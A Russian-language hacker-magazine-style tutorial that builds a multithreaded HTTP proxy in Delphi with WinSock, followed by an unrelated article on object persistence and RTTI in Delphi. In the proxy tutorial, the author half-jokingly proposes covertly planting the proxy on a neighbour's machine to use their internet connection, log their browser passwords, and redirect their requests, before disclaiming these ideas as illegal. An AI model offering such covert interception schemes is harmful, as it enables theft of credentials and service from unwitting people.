когда нужна анонимность (т.к. они бывают прозрачными) или твой провайдер ограничивает тебя не разрешает посещать сайты, расположенные на забугорных серверах. Еще одним место, где постоянно используются прокси серверы – в корпоративных (домашних) локальных сетях. Для того чтобы предоставить сотрудникам компании доступ в инет, админы устанавливают на шлюзе проксик, и вся контора ходит через него в инет. Плюсы такого способа очевидны: легко отследить маршруты пользователей, посчитать количество израсходованного трафика, и быть спокойным за то, что юзеры не будут пользоваться лишним софтом, т.к. не каждая программка способна работать через HTTP Proxy.

Рисунок 1 (Взаимодействие клиента с HTTP проксиком) Я уже говорил, что HTTP proxy – это не является единственным типом прокси серверов. В природе также встречаются: 1. HTTPS proxy – один из универсальных типов прокси серверов. В нем реализована поддержка спецификации протокола HTTP 1.1. Особенность этой версии протокола поддержка метода – CONNECT, благодаря которому становится возможным работать с HTTPS (безопасный HTTP), а также заставить работать через proxy сервер программы вроде ICQ, работа которых через HTTP прокси невозможна.


2. FTP proxy – подобные проксики довольно редкий вид, занесенный в красную книгу. Как и следует, из названия, эти proxy предназначены для работы с ftp протоколом. Главная их особенность – возможность работать как в пассивном, так и в активном. 3. Socks proxy – самый продвинутый тип проксиков. Такие proxy-сервера работают с любым TCP/IP протоколом (ftp, pop3, smtp, nntp и т.д.). Зачем писать свой proxy сервер Разобравшись на практике с теорией написания прокси серверов, ты сможешь пополнить свою коллекцию ][ тулз, собственного изготовления. Например, ты без труда сможешь сделать его абсолютно невидимым в системе и подсунуть соседу из локалки, к которой ты подключен. В случае, если сосед не думает о security и не юзает firewall, то его инет будет и твоим. Ты без проблем сможешь гонять инет-траффик, через его комп. В итоге ты будешь наслаждаться халявой, а сосед будет вкалывать на стройке, чтобы погасить долг за услуги прова. Другим интересным способом применения своего творения может быть – снифание паролей, которые сосед вводит в своем браузере. В этом случае тебе также нужно подкинуть несчастному соседу свою тулзу и убедить запустить ее. После запуска ][ проксик автоматически сконфигурирует бродилку соседа на работу через самого себя. Тем самым, чел будет спокойно бороздить инет, а все его запросы (отправка паролей и т.д.) будут записываться лог. Круто? Несомненно! Но мы также с тобой знаем, что все эти бредовые идеи носят противозаконный характер, поэтому мы будем писать прокси-сервер лишь в образовательных целях, не думая о получении выгоды? Используемые технологии При написании серверных сетевых приложений не рекомендуется использовать компонентную модель Delphi. Компоненты не обладают той гибкостью, которую можно получить, применяя API. Поэтому сегодня нам опять предстоит столкнуться со страшным WinSock API. Теперь давай обсудим алгоритм работы нашего будущего proxy сервера. Поскольку мы будем создавать серверное приложение, то ему просто необходимо быть многопользовательским. Ты только представь корпоративный прокси сервер, которым одновременно может пользоваться только один человек, а остальные тем временем будут нервно курить в стороне. Итак, раз наше приложение будет многопользовательским, то оптимальным будет использование потоков. При подключении клиента, для него будет создаваться отдельный поток. Так, наш сервер сможет одновременно работать с несколькими пользователями. После установки соединения с клиентом – браузером пользователя, первое, что нам будет необходимо сделать – получить запрос клиента. Получив запрос и вытащив из него адрес удаленного сервера, надо сразу попытаться соединиться с ним, передать полученный ранее запрос, дождаться ответа и переслать полученный ответ обратно клиенту. Если ты внимательно слушал теорию, то уже мог заметить, что в качестве удаленного сервера не обязательно должен быть WEB-сервер. На его месте вполне может быть и другой проксик. Таким образом, можно создать настоящую цепочку проксиков, что несомненного повысит анонимность. Обсудим получение запроса от клиента. В запросе который формирует браузер, содержится информация, на основании которой, WEB-сервер сможет определить, какой именно WEBдокумент мы от него хотим. Все нюансы запросов ты можешь узнать из RFC 2068. Рассмотрим пример. Когда ты в браузере набираешь www.xakep.ru, то запрос будет иметь следующий вид (может отличаться, зависит от браузера): GET http://xakep.ru/ HTTP/1.0 User-Agent: Opera/9.21 (Windows NT 5.1; U; ru)


Host: xakep.ru Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16 Как видишь, в запросе содержится много полезной и бесполезной информации, но самое главное это первая и третья строчка. В первой определен адрес, который запросил пользователь, а во второй хост. Получив этот запрос, наш проксик должен извлечь адрес хоста, определить его IP, соединиться и послать ему весь запрос. Наверняка у тебя сейчас в голове возник вопрос: «А можно ли изменить этот запрос?». Мой ответ, конечно же можно! Таким образом, легко поиздеваться над пользователем и вместо www.yandex.ru он будет попадать на www.xxx-porno.com, но учти, я тебе этого не говорил. Необходимые функции Как и подобает в программировании, после обсуждения алгоритма работы поставленной задачи, нужно определиться в инструментах, которые будут необходимы для ее решения. В нашем случае, главным молотком будет Delphi, а гвоздями с шурупами – WinSock API и классы TThread. Рассмотрим необходимые WinSock API функции. function WSAStartup (wVersionRequested:word; var WSAData:TWSAData):integer; stdcall;

Эта функция, с вызова которой нужно начинать программирование любого сетевого приложения. Она предназначена для инициализации сетевой библиотеки Windows. Функции нужно заслать два параметра: 1. wVersionRequested – версия инициализируемой библиотеки. Их всего две 1.1 и 2.0. Например, для первой версии пишем: makeword(1,1). 2. Указатель на структуру WSAData. После выполнения функции, в эту структуру запишется информация о сетевой библиотеке. При успешном выполнении функция вернет 0. Для получения кодов ошибок, в WinSock API служит функция WSAGetLastError(). Ей не нужно передавать какие-либо параметры, после вызова она возвращает код последней возникшей ошибки при работе с сетевыми функциями. function socket (af:integer; type:integer; protocol:integer):TSocket, stdcall;

Перед тем как соединиться с удаленным узлом, нужно создать «розетку» - socket. Как раз за его создание и отвечает одноименная функция socket. Входных параметров 3: 1. af – семейство протоколов. Нам потребуется лишь TCP, поэтому будем указывать AF_INET. 2. type – тип создаваемого сокета. Может быть: Sock_stream (для протокола tcp/ip) и sock_dgram (udp). 3. protocol – протокол. Для TCP нужно указать IPPROTO_TCP.


Результатом выполнения будет новый сокет. Создав сокет, можно подключаться. Для этого в библиотеке реализована функция Connect.

пробовать

function сonnect (S:TSocket; var name:TSockAddr; namelen:integer):Integer:stdcall;

Параметрами для функции служат: 1. s – socket, созданный функцией socket 2. name – структура SockAddr, содержащая данные необходимые для подключения (протокол, адрес удаленного компьютера, порт). 3. namelen – размер структуры типа TSockAddr. Успешно выполнившись, а значит и установив соединение, функция вернет 0 или ошибку, которую можно получить с помощью WSAGetLastError(). Структура TSockAddr выглядит так: TSockAddrIN = sockaddr_in; SockAddr_in = record sin_family: u_short; //семейство протоколов sin_port: u_short; //порт с которым нужно будет установить соединение sin_addr: TInAddr; //Структура, в которой записана информация об адреса удаленного компьютера sin_zero: array[0..7] of Char; //Совмещение по длине структуры sockaddr_in с sockaddr и наоборот. end;

Чтение и отправка данных удаленной стороне осуществляется с помощью функций send и recv. Они описаны следующим образом: function send (s:TSocket, var Buf; len:integer; flags:integer):Integer;stdcall; function recv (s:TSocket, var Buf; len:integer; flags:integer):Integer;stdcall;

Параметры для обеих функций одинаковые: 1. s – сокет, на который (нужно отправить или принять) данные 2. buf – буфер с данными для отправки (приемки). 3. len – размер передаваемых (принимаемых) данных. 4. flags – флаги, отвечающие за метод отправки. Выполнившись, функция вернет фактическое количество отправленных/принятых байтов. function bind (S:TSocket; var addr:TSockAddr; namelen:Integer):integer; stdcall;

Назначение функции – связывание структуры TSockAddr с созданным сокетом. Параметров три – сокет, структура, размер структуры. function listen (s:TSocket; backlog:Integer):Integer; stdcall;

Фактическое прослушивание порта начинается после вызова этой функции. Для работы функции требуется всего два параметра: сокет, максимальное количество запроса на ожидания подключения. function CloseSocket(s:TSocket):integer;stdcall;


Закрывает сокет. Параметр всего один – сокет, который нужно закрыть. function Select (nfds:Integer, readfds, writefds, exceptfds: PFDSet, timeout: PTimeVal):LingInt; stdcall;

Цель функции – проверка готовности сокета (чтение, запись, срочных данных). Select очень пригодится, когда нужно разрабатывать многопользовательские сетевые приложения подобно нашему, где использование событийной модели Windows не оправдывает себя. В качестве параметров функция принимает: 1. nfds – параметр игнорируется и присутствует лишь для совместимости с моделью сокетов Беркли. 2. readfds, writefds, exceptfds – определяют возможность чтения, записи и факт прибытия срочных данных. Эти три параметра являются указателем на структуру FD_SET, которая представляет собой набор сокетов. 3. TimeOut – указатель на структуру timeval. В структуре определено максимальное время ожидания. Для установки бесконечного ожидания следует передать в этот параметр nil. procedure FD_ZERO (var FDSet: TFDSet);

Очистка и инициализация набора сокетов. Перед добавлением сокетов в набор, необходимо его проинициализировать с помощью этой функции. procedure FD_SET(Socket: TSocket; var FDSet: TFDSet);

Процедура предназначена для добавления сокета, переданного в первом параметре в набор, указанный во втором. function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean;

Функция позволяет проверить вхождения сокета (первый параметр) в набор (второй параметр). Кодим Вот и настала та заветная минута ][, когда мы заканчиваем разбираться с теорией и приступаем к реальному кодингу. Запускай Delphi, создавай новый проект и придай форме диз похожий на мой (рис. 2). Мы не будем ничего скрывать от пользователя, т.к. если ты не забыл, то мы пишем программу в образовательных целях. Для своих дел, ты без труда сможешь переделать эту заготовку. На форме у меня четыре кнопки: 1. Запустить – запуская проксик на порту 8080. 2. Configure IE – для автоматического конфигурирование браузера IE 3. Configure Opera – то же самое конфигурирование, только для Opera.


Рисунок 2 (Форма будущей программы) В остальной части формы у меня располагается ListView с тремя колонками. В них мы будем отображаться IP клиентов и адреса хостов, к которым, они обратились. По событию OnClick для кнопки «Запустить» напиши следующий код: _listenThread := TListenThread.Create (false);

Этой одной единственной строчкой кода мы создаем новый поток типа TListenThread. Потоки можно создавать приостановленными. Именно поэтому в качестве параметра метода Create я передаю значение false, требующее немедленного запуска. Поток TListenThread подготовит сокет для прослушивания, и будет ожидать подключений на порт 8080. Код создания приведен в листинге 1. Листинг 1: Поток TListenThread var _listenSocket, _clientSocket:TSocket; _listenAddr, _clientAddr: sockaddr_in; _clientThread:TClientThread; _size:integer; begin _listenSocket := socket (AF_INET, SOCK_STREAM, 0); if (_listenSocket = INVALID_SOCKET) then begin ShowMessage('Ошибка создания сокета!'); Exit; end; _listenAddr.sin_family := AF_INET; _listenAddr.sin_port := htons(8080); _listenAddr.sin_addr.S_addr := htonl(INADDR_ANY); if (Bind(_listenSocket, _listenAddr, sizeof(_listenAddr)))=SOCKET_ERROR then begin


ShowMessage('Ошибка связывания сокета с адресом!'); Exit; end; if (Listen(_listenSocket, 4)) = SOCKET_ERROR then begin ShowMessage('Не могу начать прослушивание!'); Exit; end; while true do begin _size := sizeof(_clientAddr); _clientSocket := accept(_listenSocket, @_clientAddr, @_size); if (_clientSocket = INVALID_SOCKET) then Continue; _clientThread := TClientThread.Create(true); _clientThread._Client := _ClientSocket; _clientThread._ip := inet_ntoa(_clientAddr.sin_addr); _clientThread.Resume; end;

Давай подробней рассмотрим содержимое листинга 1. Процедура Execute() определенная, у объекта TListenThread – является основной для потоков. После запуска потока, она выполняется самой первой, а раз так, то именно в ней нужно расположить код, отвечающий за начало прослушивания определенного порта. Чтобы начать слушать порт, нужно создать сокет с помощью одноименной функции socket(). Параметры, необходимые для работы функции определяются из того, какой протокол мы будем использовать. HTTP проксик, должен использовать TCP/IP протокол, обеспечивающий надежную передачу данных. Поэтому, во втором параметре я указываю SOCK_STREAM. Создав сокет, нужно убедиться, что после выполнения функции Socket не произошла ошибка. Для проверки, достаточно сравнить переменную сокета со значением константы INVALID_SOCKET. Если они окажутся равными, то произошла ошибка и дальнейшее выполнение программы бессмысленно. Предположим, что сокет успешно создался, а значит, следующим шагом будет заполнение структуры sockaddr_in, содержащей необходимые данные для начала прослушивания. Подробное описание всех свойств структуры я уже описывал, поэтому сейчас не буду заострять на этом внимание. Заполнив все свойства структуры, ее нужно связать с нашим сокетом с помощью функции BIND. Если функция BIND выполнилась без ошибок, то надо вызвать функцию для начала прослушивания - Listen. После ее выполнения запускается бесконечный цикл, в котором вызывается функция accept(). Успешное ее выполнения будет означать, что к нам подсоединился клиент и для работы с ним необходимо создать новый поток. В потоке TClientThread будет происходить обмен данными между клиентом и нашим проксиком и соответственно между проксиком и удаленным сервером. Основной код потока TClientThread приведен в листинге 2, а полную версию, ты всегда можешь посмотреть в моем исходнике. Листинг 2: Код потока TClientThread var _buff: array [0..1024] of char; _port: integer; _request:string; _srvAddr : sockaddr_in; _srvSocket : TSocket; _mode, _size : Integer; _fdset : TFDSET; begin Recv(_client, _buff, 1024, 0); _request:=string(_buff);


if _request='' then begin CloseSocket(_client); exit; end; _host:=Copy(_request, Pos('Host: ', _request), 255); Delete(_host, Pos(#13, _host), 255); Delete(_host, 1, 6); _port:=StrToIntDef(Copy(_host, Pos(':', _host)+1, 255), 80); Delete(_host, Pos(':', _host), 255); if (_host='') then begin SendStr(_client, '<h1>Error 400: Invalid header</h2>'); CloseSocket(_client); exit; end; Synchronize(addToLog); _srvSocket := socket(AF_INET, SOCK_STREAM, 0); _srvAddr.sin_addr.s_addr := htonl(INADDR_ANY); _srvAddr.sin_family := AF_INET; _srvAddr.sin_port := htons(_port); _srvAddr.sin_addr := LookupName(_host); if connect(_srvSocket, _srvAddr, sizeof(_srvAddr))=SOCKET_ERROR then begin SendStr(_Client, '<h1>Error 404: NOT FOUND</h1>'); exit; end; _mode:=1; setsockopt(_srvSocket, IPPROTO_TCP, TCP_NODELAY, @_mode, sizeof(integer)); send(_srvSocket, _buff, strlen(_buff), 0); while true do begin FD_ZERO(_fdset); FD_SET(_client, _fdset); FD_SET(_srvSocket, _fdset);

if (select(0, @_fdset, nil, nil, nil) < 0) then exit; if (FD_ISSET(_client, _fdset)) then begin _size := recv(_Client, _buff, sizeof(_buff), 0); if _size=-1 then break; send(_srvSocket, _buff, _size, 0); continue; end; if(FD_ISSET(_srvSocket, _fdset)) then begin _size := recv(_srvSocket, _buff, sizeof(_buff), 0); if _size=0 then exit; Send(_client, _buff, _size, 0); continue; end; end; CloseSocket(_client); CloseSocket(_srvSocket);


Второй листинг получился чуть больше по размеру, но сложного в нем ничего нет, в чем ты сейчас убедишься. Для понимания этого листинга придется вспомнить алгоритм работы нашей программы, который мы обсуждали в самом начале статьи. Установив соединение с клиентом, нужно сразу от него получить текст запроса, в котором определен адрес запрашиваемого документа. Чтение данных из сокета происходит функцией Recv(), описание которой я приводил. Получив текст запроса, нужно выдернуть из него значение атрибута хост. По этому значению мы сможем получить адрес удаленного сервера, которому и будет отправлять запрос пользователя. Если из запроса удалось получить адрес хоста, нужно начинать подготавливать сокет для установки соединения с WEB-сервером, в противном случае отправить пользователю сообщение типа «Ошибка в запросе». Для установки соединения нужно заполнить уже знакомую нам структуру типа sockaddr_in и выполнить функцию Connect(). Как только соединение будет установлено, нужно перевести сокет в асинхронный режим. Смена режима происходит с помощью функции setsockopt(). Перевод в асинхронный режим неизбежен, т.к. нехило повысится производительность нашего приложения. Это станет возможным из минимизации задержек перед пересылкой данных между нами, web-сервером и клиентом. Получив от сервера порцию данных, мы не будем ждать остальных, а сразу отправим их клиенту. Итак, переведя сокет в асинхронный режим, можно смело отправлять серверу запрос, ранее полученный от клиента и запускать бесконечный цикл, в котором будет реализован обмен данным. Перед тем как читать из данные, нужно добавить сокеты в набор для ожидания. Как ты помнишь, после мы сможем проверять готовность сокета с помощью функции Select(). Ну а дальше все просто. Все что остается делать – проверки сокетов. Если пришел запрос от клиента – перенаправляем WEB-серверу, если от сервера, то наоборот, отправляем клиенту. Для теста, я запустил созданный проксик у себя на компе. Сконфигурировал Opera (рис. 3) и попробовал зайти на один из сайтов, локальной сети, пользователем которой я явлюсь. После отправки запроса, моя опера шустренько начала принимать данные от прокси сервера (рис. 4). Тем временем, в ListView стал заполняться моим IP и адресом хоста, к которому я посылал запрос.

Рисунок 3 (Opera под контролем)


Рисунок 4 (Логи)

Рисунок 5 (Успешно загруженные сайт)


Заключение Надеюсь, сегодняшний пример получился достаточно полезным как для программиста, так и для хакера. В очередной раз ты убедился, что Delphi – это не только базы данных и отчеты, а язык, с помощью которого можно решать как прикладные, так и хакерские задачи. Мне остается только пожелать тебе успешного применения полученных знаний в своих будущих проектах.

Written by Антонов Игорь E-mail: antonov.igor.khv@gmail.com WWW: vr-online.ru


Delphi и персистентность — новый взгляд Всякое абстрагирование есть не что иное, как устранение некоторых ясных представлений, которое обычно только для того и предпринимают, чтобы тем яснее представить себе остающееся. И. Кант В данной статье речь пойдет о персистентности — возможности, которая существует в Delphi с момента его появления на свет, заложена непосредственно в язык и компилятор, и на которой построена вся идея визуального проектирования. А реализована эта возможность в простом классе стандартной runtime-библиотеки — TPersistent. Однако в данной статье эта стандартная реализация будет подвержена некоторой критике и в качестве альтернативы — попытаюсь предложить свою. Спрашивается, а зачем это все нужно? Класс TPersistent — один из фундаментальных классов Delphi RTL, на нем построена вся VCL. Огромное количество существующего кода используют персистентность именно в таком виде, зачем нужен очередной "велосипед", чьи принципы к тому же идут в разрез со стандартными, и соответственно — не может быть применены к уже существующим потомкам TPersistent без дополнительной доработки? Ну, если бы я считал, что никакой пользы в этом нет, то не стал бы зря тратить свое и ваше время. Как мне кажется, приведенная в статье реализация придает дополнительную гибкость, открывает новые возможности, которыми вы можете успешно воспользоваться в собственных проектах. А если же готовое решение, приведенное в данной статье, вас удовлетворять не будет, то, по крайней мере, попытаюсь поделиться своими мыслями, идеями, которые возможно в ваших умах получат дальнейшее развитие. Ну и вдохновением, разумеется. Статья разбита на две части. Первая — "Критика чистого разума", содержит подробное объяснение идеи данной статьи, а вторая — "Критика практического разума", демонстрирует возможности предлагаемого решения на конкретных примерах.

КРИТИКА ЧИСТОГО РАЗУМА Что я должен знать? Что же скрывается за словом "персистентность"? Персистентность — есть ни что иное как способность программного обеспечения создавать и поддерживать перманентные объекты, т.е. объекты, которые могут долговременно хранить свое состояние (даже в то время, когда программа не выполняется) для дальнейшего его восстановления. Сохранение состояния объекта в какое-либо хранилище называется сериализацией объекта. Стандартная runtime-библиотека Delphi предлагает класс, в который заложена поддержка перманентных объектов — TPersistent. Однако данный класс и инструменты, работающие с ним, как мне кажется, выполнены не достаточно гибко. Стандартные механизмы сериализации изначально предназначались для поддержки визуального проектирования. В случаях, когда мы имеем дело не с компонентами на форме или модуле данных, а со своими классами, стандартный функционал может быть избыточен и неудобен. Более того, стандартные механизмы сериализации жестко привязаны к формату записываемых данных. Если нам нужно записать состояние объекта


в формате XML, скажем, или каком-либо другом, отличном от "родного" для стандартной библиотеки формата, мы столкнемся с определенными трудностями. И в дополнение ко всему мне кажется, возможности, открываемые персистентностью, могут быть шире тех, что предоставляет класс TPersistent. К счастью, несмотря на то, что стандартная runtimeбиблиотека нам такой возможности не предоставляет, язык Delphi обладает необходимым инструментарием для реализации персистентности в том виде, в котором нам этого захочется. Итак, теперь давайте на время забудем о существовании TPersistent и попытаемся спроектировать свой класс, в который будет заложена возможность определять и работать с состоянием объекта. Что я должен делать? Простейший класс с поддержкой персистентности можно было бы реализовать так: TMyPersistent = class(TObject) public procedure SaveToStream(Stream: TStream); virtual; abstract; procedure LoadFromStream(Stream: TStream); virtual; abstract; end;

Все очень просто — базовый класс объявляет абстрактные методы записи/чтения состояния, которые потомки должны перекрыть, где и реализовать конкретное поведение, необходимое для данного класса. В чем достоинство такого подхода? Полиморфное поведение — нам не нужно знать конкретный тип экземпляра, достаточно знать, что он унаследован от TMyPersistent. В чем же недостаток? В том, что для каждого конкретного класса нам придется самим писать реализацию загрузки и сохранения. Сколько в проекте классов, для которых мы хотим задать такое поведение — столько и реализаций. Это вопервых. Во-вторых, реализация одного и того же класса может меняться с развитием проекта — соответственно придется менять и код загрузки/сохранения. И в-третьих, классы меняются от проекта к проекту, следовательно говорить о повторном использовании кода не уместно. Итог — увеличенное время и стоимость разработки и дальнейшей поддержки кода. Какие есть альтернативы? Альтернатива кроется в смысле слова "рефлексия". Заглянем в учебник по психологии и прочтем, что рефлексия — это "мысль направленная на мысль, обращенность сознания на самого себя". Расшифруем это "познай самого себя" в более близких для программиста понятиях. Если персистентность — это способность хранить объектом свое состояние, то рефлексия — это способность объекта обращаться к самому себе, посмотреть на себя со стороны, для того, чтобы узнать, что именно определяет его состояние. Представьте, как если бы любой объект мог взглянуть на объявление своего класса в юните и сразу же определить, что именно является его частями и как они должны быть записаны в поток. Тогда бы нам было достаточно просто написать код получения объектом его составных частей (один раз для всех классов) и далее в цикле просто сохранить каждую из частей в поток. Приведем псевдокод построенного на данной концепции класса с поддержкой персистентности: TMyPersistent = class(TObject) public procedure SaveToStream(Stream: TStream); procedure LoadFromStream(Stream: TStream); end;


... TMyPersistent.SaveToStream(Stream: TStream); begin for <для каждой части объекта> do <Сохранить>(<часть>, Stream); end; TMyPersistent.LoadFromStream(Stream: TStream); begin for <для каждой части объекта> do <Загрузить>(<часть>, Stream); end;

В данном псевдокоде мы просто проходим в цикле по всем составным частям объекта и сохраняем/загружаем их из потока. А откуда объект возьмет данные о своих частях, не поставлять же вместе с программой ее исходный код?! Для ответа на этот вопрос вернемся с небес на землю, поговорим о вполне конкретных вещах, к абстракции и философским рассуждениям мы еще вернемся. Итак, объекту нужны некоторые таблицы с данными о самом себе, обратившись к которым, он может узнать все необходимое. В терминах некоторых языков такие таблицы называются таблицами метаданных — т.е. данные о данных. В Delphi же устоялся термин RTTI (runtime type information) — информация о типах, доступная во время выполнения, что по сути — то же самое. Откуда берется эта информация? Ее генерирует компилятор и помещает в скомпилированном коде в секцию доступную только для чтения. Из любого участка программы мы можем обратиться к этим таблицам и получить нужную нам информацию. Что эта информация включает? В случае классов, наиболее важное для нас заключается в том, что в этих таблицах есть достаточно полное описание свойств (property) класса, объявленных как published — их имена, типы и некоторые другие параметры. Как попросить компилятор сгенерировать для данного класса такие таблицы? Для этого класс должен быть скомпилирован с директивой {$M+} либо бы наследником такого класса. В стандартной библиотеке Delphi это требование как раз выполняется для класса TPersistent и его наследников. Примечание: Членами класса являются не только данные, но и методы для их обработки. С помощью недокументированной директивы {$METHODINFO ON} можно заставить компилятор сгенерировать подробную информацию о public и published методах класса, что позволит во время выполнения генерировать вызовы этих методов, подобно тому, как это происходит в скриптовых интерпретаторах. Узнать об этом подробнее можно, изучив модули ObjAuto.pas и ObjComAuto.pas. Более подробную информацию по RTTI в Delphi и как с ней работать приводить не будем, для тех кто не знаком — на эту тему есть множество статей и книг. В данном случае для нас важен сам факт существования такой информации и возможности работать с ней. Вернемся к последней реализации класса TMyPersistent и обсудим ее достоинства и недостатки. Главное достоинство в том, что мы оторвались от конкретики и поднялись на следующий уровень абстракции. Теперь нам не нужно определять изменчивое поведение конкретных классов, а достаточно реализовать общую неизменную абстрактную концепцию, придерживаясь которой, каждому классу достаточно лишь объявить, что


именно характеризует его внутреннее состояние (используя зарезервированные слова языка published, default, stored), а писать код записи и чтения — не нужно. Теперь поговорим о недостатках. Первый недостаток заключается в том, что не всегда можно описать состояние объекта только лишь его опубликованными свойствами. Может быть более сложный случай, когда нужно уметь сохранять дополнительные сущности — например, класс TBitmap, содержащий двоичные данные растрового изображения. Второй недостаток в том, что у нас класс TMyPersistent жестко привязан к формату хранения данных, так как код записи/чтения из потока реализован в классе непосредственно. Если мы захотим хранить состояние объекта в разных форматах (скажем, в одном проекте нам нужна бинарная сериализация, в другом — XML), нас ждут большие трудности. Бороться с этими недостатками можно. С первым — это предоставить классу возможность записывать дополнительные произвольные данные, помимо опубликованных свойств. Можно это реализовать в виде виртуальных методов, которые дополнительно вызывать в SaveToStream/LoadFromStream. Как бороться со вторым недостатком? Можно переложить ответственность по взаимодействию с потоком на внешний для объекта класс. Таких классов можно сделать несколько — по одному на каждый необходимый формат, а от персистентного объекта потребовать только способность правильно предоставить информацию о своем состоянии в каком-либо общем виде. Значит, объект не должен писать в поток непосредственно. Между объектом и потоком должна быть еще одна сущность — абстрактное дерево состояния, в каждом узле которого будет храниться свойство и его значение. Почему дерево? Потому что объекты могут быть вложены друг в друга. Почему абстрактное? Потому что объект не должен знать, кто реализует это дерево и как оно в дальнейшем будет использовано, объект будет знать лишь его интерфейс. TMyPersistent = class(TObject) public procedure SaveToTree(Tree: ITree); procedure LoadFromTree(Tree: ITree); end; Мы можем написать множество классов, предоставляющий интерфейс дерева, которые абстрагируют нас от конкретного хранилища. Так один класс может скрывать за собой документ XML, второй — INI-файл, третий — реестр Windows, четвертый — таблицы базы данных и т.д. Объект просто должен уметь заполнить это дерево, занеся в него свое состояние, а также уметь восстановить свое состояние из дерева. А так у нас есть рефлексия, реализовать такой метод мы можем непосредственно в классе TMyPersistent раз и навсегда. В приведенном чуть выше коде параметр Tree методов записи/чтения имеет тип ITree, первая буква "I" в названии которого говорит об интерфейсном типе, а не о классовом. В принципе, интерфейс или класс — не имеет значения, просто объявив параметр как интерфейс, мы не ставим жесткие рамки, требующие чтобы класс, реализующий дерево, был потомком некого TTree. Это может быть совершенно любой класс, главное чтобы он предоставлял реализацию интерфейса ITree. На что я смею надеяться?


Ну что ж, теперь, когда объект умеет однозначно определить свое состояние, давайте посмотрим, какие возможности это перед нами открывает: • Запись состояния в хранилище • Чтение и восстановление состояния из хранилища • Проверка на эквивалентность своего состояния с состоянием другого объекта • Копирование состояния другому объекту Клонирование объекта — создание нового объекта того же типа с идентичным состоянием. С первыми двумя пунктами все должно быть ясно — речь об этом уже шла выше. Объект умеет работать с интерфейсом дерева состояния, а предоставлять это дерево может любой класс, реализующий физическое хранилище. По поводу третьего пункта — в классе TMyPersistent мы можем реализовать метод Equals, в котором получать состояния сравниваемых объектов и проверять их на эквивалентность. Следующий пункт — копирование состояния другому объекту. В классе TMyPersistent мы можем реализовать методы Assign и AssignTo, но в отличие от своих тезок в классе TPersistent, которые не делают ничего полезного, мы можем полностью скопировать состояние объекта источника объекту приемнику. Для этого можно сохранить состояние объекта источника в дерево, а приемником произвести загрузку из этого дерева. Для клонирования же нужно создать сначала новый объект того же типа, а потом скопировать ему состояние исходного объекта.

КРИТИКА ПРАКТИЧЕСКОГО РАЗУМА В прилагаемом к статье архиве Вы найдете библиотеку, в которой кроме прочего реализован класс TSyPersistent (юнит SyClasses.pas). В этом классе реализованы описанные чуть выше идеи. Ключевыми являются методы SaveToTree/LoadFromTree, которые работают с RTTI. Остальные методы просто их используют (кроме CustomSerialize/CustomDeSerialize, о которых поговорим ниже). Реализацию методов в тексте статьи приводить не буду, при желании вы можете ознакомиться с ней самостоятельно. {$M+} // Базовый класс перманентных объектов TSyPersistent = class(TSyObject) ... protected procedure AssignTo(Dest: TSyPersistent); virtual; procedure CustomSerialize(const Node: ISyTreeNode); virtual; procedure CustomDeSerialize(const Node: ISyTreeNode); virtual; public constructor Create; virtual; procedure SaveToTree(const Node: ISyTreeNode); procedure LoadFromTree(const Node: ISyTreeNode); procedure Assign(Source: TSyPersistent); virtual; function Equals(AObject: TSyPersistent): Boolean; virtual; function Clone: TSyPersistent; ... end; {$M+}


Вы можете просто порождать от этого класса потомков, которые автоматически смогут записывать свое состояние в дерево, восстанавливать из дерева, проверять экземпляры на эквивалентность и копировать состояние другим экземплярам. Интерфейс абстрактного дерева состояния представляется типом ISyTreeNode. Вот его объявление: // Интерфейс узла дерева ISyTreeNode = interface(IInterface) ['{6934A38E-3605-4A8E-A120-D7C94C5C169C}'] // Имя узла function GetName: String; procedure SetName(const Value: String); property Name: String read GetName write SetName; // Родитель function GetParent: ISyTreeNode; property Parent: ISyTreeNode read GetParent; // Список дочерних подузлов function GetNodesCount: Integer; function GetNode(Index: Integer): ISyTreeNode; function GetNodeByName(AName: String): ISyTreeNode; function GetNodeIndex(AName: String): Integer; property NodesCount: Integer read GetNodesCount; property Nodes[Index: Integer]: ISyTreeNode read GetNode; property NodeByName[AName: String]: ISyTreeNode read GetNodeByName; property NodeIndex[AName: String]: Integer read GetNodeIndex; // Список параметров узла function GetParamsCount: Integer; function GetParamName(Index: Integer): String; function GetParamValue(Index: Integer): Variant; procedure SetParamValue(Index: Integer; const Value: Variant); function GetParamValueByName(AName: String): Variant; procedure SetParamValueByName(AName: String; const Value: Variant); function GetParamIndex(AName: String): Integer; property ParamsCount: Integer read GetParamsCount; property ParamName[Index: Integer]: String read GetParamName; property ParamValue[Index: Integer]: Variant read GetParamValue write SetParamValue; property ParamValueByName[AName: String]: Variant read GetParamValueByName write SetParamValueByName; property ParamIndex[AName: String]: Integer read GetParamIndex; // Управление узлами function AddNode(AName: String): ISyTreeNode; procedure DeleteNode(Index: Integer); overload; procedure DeleteNode(AName: String); overload; procedure DeleteNode(Node: ISyTreeNode); overload; procedure ClearNodes; function NodeExists(AName: String): Boolean; procedure Assign(const Node: ISyTreeNode); // Управление параметрами procedure AddParam(AName: String; AValue: Variant); procedure AddBinaryParam(AName: String; Ptr: Pointer; Size: Integer; ByRef: Boolean); procedure DeleteParam(Index: Integer); overload; procedure DeleteParam(AName: String); overload; procedure ClearParams; function ParamExists(AName: String): Boolean; // Полная очистка procedure Clear; end;


Выглядит громоздко, но ничего сложного, на мой взгляд, в нем нет. Каждый узел дерева содержит два списка: список параметров, у которых есть имя (String) и значение (Variant), а также список дочерних узлов. Соответственно методы этого интерфейса позволяют управлять этими узлами и параметрами. В примерах далее мы будем рассматривать только сериализацию объектов в различные хранилища, так как именно на примере сериализации легче всего увидеть, что именно объект определяет как свое состояние. Учитывая, что все остальные методы работают именно с этим состоянием (если их не перекрыть), то их использование и поведение становится очевидным. Простые классы Приведем пример простого класса, способного определять свое состояние в виде опубликованных свойств. uses SyClasses; ... // Класс, содержащий настройки приложения TApplicationSettings = class(TSyPersistent) ... published property ShowSplash: Boolean read FShowSplash write FShowSplash; property SplashTimeout: Integer read FSplashTimeout write FSplashTimeout; property UserProfile: String read FUserProfile write FUserProfile; end;

